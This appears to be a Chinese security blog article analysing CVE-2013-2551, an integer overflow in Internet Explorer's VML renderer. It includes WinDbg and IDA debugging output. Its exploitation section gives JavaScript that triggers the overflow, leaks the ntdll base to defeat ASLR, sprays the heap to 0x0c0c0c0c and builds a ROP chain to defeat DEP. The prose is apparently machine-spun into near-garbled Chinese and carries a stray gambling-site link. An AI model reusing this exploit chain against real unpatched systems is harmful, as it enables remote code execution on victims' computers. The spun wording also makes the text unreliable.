欢迎来到兴华永恒!加入收藏设为首页
您当前所在位置:首页 > 手艺专栏 > 专业公布
手艺专栏

CVE-2013-2551样本阐发及破绽操纵和防备(上篇)



0x0 写在前面

VUPEN团队在Pwn2Own 2013黑客大赛上利用破绽攻破Windows 8情况下的IE10,随后在其博客上公然了手艺细节。按照VUPEN形貌,该破绽产生于VGX.DLL模块,在VML言语中处置图形标签的stroke子元素的dashstyle存在安全隐患

微软在安全通告MS13-037中具体枚举了受影响软件范畴从IE6-IE10,并给出响应平台的安全更新

本文调试的Poc由4B5F5F4B按照VUPEN在博客中公然的信息机关

调试思绪是对IE开启页堆,操纵调试器撑持,及时检测到溢出以后,按照函数挪用干系往上一层一层跟随数据滥觞和浏览反汇编代码,寻觅破绽触发的枢纽点

0x1 调试情况 & 样本信息

1.1 调试情况

  • [操作系统]:Windows 7 Ultimate SP1(X64)、 Windows 7 Ultimate  SP1(X86)

  • [浏览器]:Internet Explorer 8.0.7601.17514

  • [调试器]:Windbg 6.11.0001.402 X86

  • [反汇编器]:IDA Pro 6.8.150423(32-bit)

1.2 样本信息

  • [样本名]:poc.html

  • [MD5]:0B8CBEE6465D1D22B79866DE997C509A

  • [SHA1]:161621EF49A453692537DBC33D10DDC73EB5133D

  • [CRC32]:FAE274A5

0x2 样本调试

2.1 对IE浏览器开启页堆

1.png

2.2 运转样本

利用Windbg附加IE,然后运转样本,许可加载ActiveX控件,并点击页面中的crash按钮

2.png

2.3 检察瓦解时信息

瓦解语句信息

0:012> g
(894.f80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=201c7064 ebx=72a94964 ecx=00000001 edx=00000000 esi=201c7060 edi=08b69d44
eip=76de9966 esp=08b69d00 ebp=08b69d08 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010297
msvcrt!memcpy+0x158:
76de9966 8b448efc        mov     eax,dword ptr [esi+ecx*4-4] ds:002b:201c7060=????????

栈的挪用干系

0:004> kb
ChildEBP RetAddr  Args to Child              
08b69d08 72a3cfa9 08b69d44 201c7060 00000004 msvcrt!memcpy+0x158
08b69d1c 72a8da0f 20c5afe8 08b69d44 00000044 vgx!ORG::Get+0x27
08b69d48 76c53e75 20c5afe8 00000044 08b69dac vgx!COALineDashStyleArray::get_item+0x8c
08b69d68 76c53cef 20e62ff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165
...(lines have been omitted)...

检察vgx模块的详细信息

0:004> lm vm vgx
start    end        module name
72a10000 72ad1000   vgx        (pdb symbols)          c:symboslVGX.pdb3CED25965F214824ABDF507AE4541DE32VGX.pdb
    Loaded symbol image file: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll
    Image path: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll
    Image name: vgx.dll
    Timestamp:        Tue Jul 14 09:11:08 2009 (4A5BDB2C)
    CheckSum:         000C2C1E
    ImageSize:        000C1000
    File version:     8.0.7600.16385
    Product version:  8.0.7600.16385
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Windows® Internet Explorer
    InternalName:     VGX.DLL
    OriginalFilename: VGX.DLL
    ProductVersion:   8.00.7600.16385
    FileVersion:      8.00.7600.16385 (win7_rtm.090713-1255)
    FileDescription:  Microsoft Vector Graphics Rendering(VML)
    LegalCopyright:   © Microsoft Corporation. All rights reserved.

2.4 利用IDA检察瓦解点四周代码

msvcrt!memcpy函数颠末精益求精险些不消去疑心,间接检察上层挪用

计较偏移:0x72a3cfa4 – 0x72a10000 = 0x2CFA4

该版本vgx.dll模块在IDA中的基址为:0x198C0000

颠末计较,memcpy函数在地址0x198ECFA4处被挪用

3.png

颠末阐发,src为构造体第4项数据 + (构造体第2项数据 && 0xFFFF)* arg_8

2.5 持续检察上层函数

在Windbg中检察(vgx!COALineDashStyleArray::get_item+0x89)

72a8da0c ff511c          call    dword ptr [ecx+1Ch]
72a8da0f 8b4510          mov     eax,dword ptr [ebp+10h]

计较该语句在IDA中的地址

0x72a8da0c - 0x72a10000 + 0x198C0000 = 0x1993DA0C

利用IDA检察该函数

1492415027728905.png

利用Windbg跟随vgx!COALineDashStyleArray::get_item的施行流程

从头运转样本

0:015> .childdbg 1
Processes created by the current process will be debugged
0:015> bu 72a8da0c - 72a10000 + vgx.dll
0:015> bu 72a8d983 - 72a10000 + vgx.dll
0:015> bl
 0 e 70a4da0c     0001 (0001)  0:**** vgx!COALineDashStyleArray::get_item+0x89
 1 e 70a4d983     0001 (0001)  0:**** vgx!COALineDashStyleArray::get_item

颠末调试,在vgx!COALineDashStyleArray::get_item+0x70处挪用vgx!ORG::CElements函数

vgx!COALineDashStyleArray::get_item+0x70:
70a4d9f3 ff512c          call    dword ptr [ecx+2Ch]  ds:002b:709e7284={vgx!ORG::CElements (709fd079)}

单步步入vgx!ORG::CElements函数

5.png

按照movzx指令判定,该数值为无标记数

函数返回后,对利用0扩大以后的无标记数停止了有标记的条件判定

6.png

之前的unsigned short int 0扩大以后被强转为 int,且样本传入的数值为0xFFFF,形成整数溢出

0x3 破绽操纵

本文破绽操纵针对没打任何补钉的Windows 7 Ultimate  SP1(X86) 情况,分离源码和调试阐发操纵历程

本文中破绽操纵代码次要参考调试的Poc样本代码、以及网上的公然代码收拾整顿编写

破绽操纵胜利截图

7.png

Poc源码中溢出的枢纽语句:

vml1.dashstyle.array.length = 0 - 1

3.1 过ASLR

过ASLR的源码大抵以下:

for (var i=0; i<0x400; i++){
a[i].rotation;              
if (i == 0x300) {            
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
  }
 }
 var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length      = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft   = "Khwarezm111";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
 vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
 var leak = a[i].marginLeft;
 vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
 vml1.dashstyle.array.length = length_orig;
 ntdll_base=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16 ) - 0x470B0;

在赋值以后,参加弹框把流程中止下来

vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
alert("pause");

利用Windbg附加运转,弹出窗口后在Windbg上点击停息,然后搜索数值0x7ffe0300

0:015> s -b 0x0 L?0x7fffffff 00 03 fe 7f
020ce7c8  00 03 fe 7f c4 ea 0d 02-90 d5 0c 02 00 00 00 00  ................
020dbfa3  00 03 fe 7f 25 01 00 5b-03 14 1e 74 05 00 00 0a  ....%..[...t....
020dccb8  00 03 fe 7f 00 00 00 00-80 00 0b 02 00 00 00 00  ................
04be5c78  00 03 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00  ................
762113e6  00 03 fe 7f ff 12 c2 04-00 90 90 90 90 90 90 90  ................
76212b41  00 03 fe 7f ff 12 c2 08-00 90 90 90 90 90 b8 01  ................

搜索的记载太多无法考证,那么我们再搜索字符串"Khwarezm111"

0:015> s -u 0x0 L?0x7fffffff "Khwarezm111"
0044df04  004b 0068 0077 0061 0072 0065 007a 006d  K.h.w.a.r.e.z.m.
004b48b8  004b 0068 0077 0061 0072 0065 007a 006d  K.h.w.a.r.e.z.m.

接着搜索数值0x0044df04

0:015> s -b 0x0 L?0x7fffffff 04 df 44 00
04bc8568  04 df 44 00 00 00 00 00-00 00 00 00 00 00 00 00  ..D.............
04c0cdcc  04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00  ..D.....(F.w..D.
04c0cdd8  04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c  ..D.|x........dl
04c22c84  04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00  ..D.....(F.w..D.
04c22c90  04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c  ..D.|x........dl

分离以上三个搜索成果,能够推测地址0x04be5c78就是我们寻觅的保留数值0x7ffe0300的处所

在内存窗口考证推测

澳门新葡京网站

往前翻,其内存规划以下

1492415330438550.png

检察圈红处的数据

0:015> db 04a08124 L16
04a08124  4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00  K.h.w.a.r.e.z.m.
04a08134  31 00 31 00 31 00                                1.1.1.
0:015> db 04a0814c L16
04a0814c  4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00  K.h.w.a.r.e.z.m.
04a0815c  31 00 31 00 31 00                                1.1.1.

能够瞥见,上诉代码在一片工具中央操纵dashstyle属性插入了和一个工具不异巨细的数组,操纵溢出,定位到数组后一个工具保留字符串首地址的处所,经由过程越界写入随便值,然后操纵工具的属性定位到该随便值

本文操纵牢固偏移保守NTDLL.DLL的基址

0:015> dd 7ffe0300 L1 
7ffe0300  778970b0
0:015> u 778970b0 
ntdll!KiFastSystemCall:
778970b0 8bd4            mov     edx,esp
778970b2 0f34            sysenter

3.2 准确放射

准确堆喷到地址0x0c0c0c0c,源码大抵以下:

var fill = unescape("%u0c0c%u0c0c");
 while (fill.length < 0x1000){
 fill += fill;
 }
 // [ padding offset ]
 padding = fill.substring(0, 0x5F6);
 // [ fill each chunk with 0x1000 bytes ]
 evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);

3.3 过DEP

利用ROP链过DEP,源码大抵以下:

function getRealAddr(base ,offect){
 var real_addr = base + offect;
 var str = real_addr.toString(16);
 var s1 = str.substring(0,4);
 var s2 = str.substring(4,8);
 return "%u" + s2 + "%u" + s1
}
ntdll_base = getNtdllBase();
stack_pivot = getRealAddr(ntdll_base,0x0001578a);
stack_pivot += getRealAddr(ntdll_base,0x000096c9);
stack_pivot += getRealAddr(ntdll_base,0x00015789);
ntdll_rop = getRealAddr(ntdll_base ,0x45F18);
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%uffff%uffff";
ntdll_rop += "%u0c34%u0c0c";
ntdll_rop += "%u0c38%u0c0c";
ntdll_rop += "%u0040%u0000";
ntdll_rop += "%u0c3c%u0c0c";
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%u0400%u0000";
ntdll_rop += "%u4141%u4141";
rop_chains = unescape(stack_pivot + ntdll_rop);
在线征询 周一至周五
09:00-18:00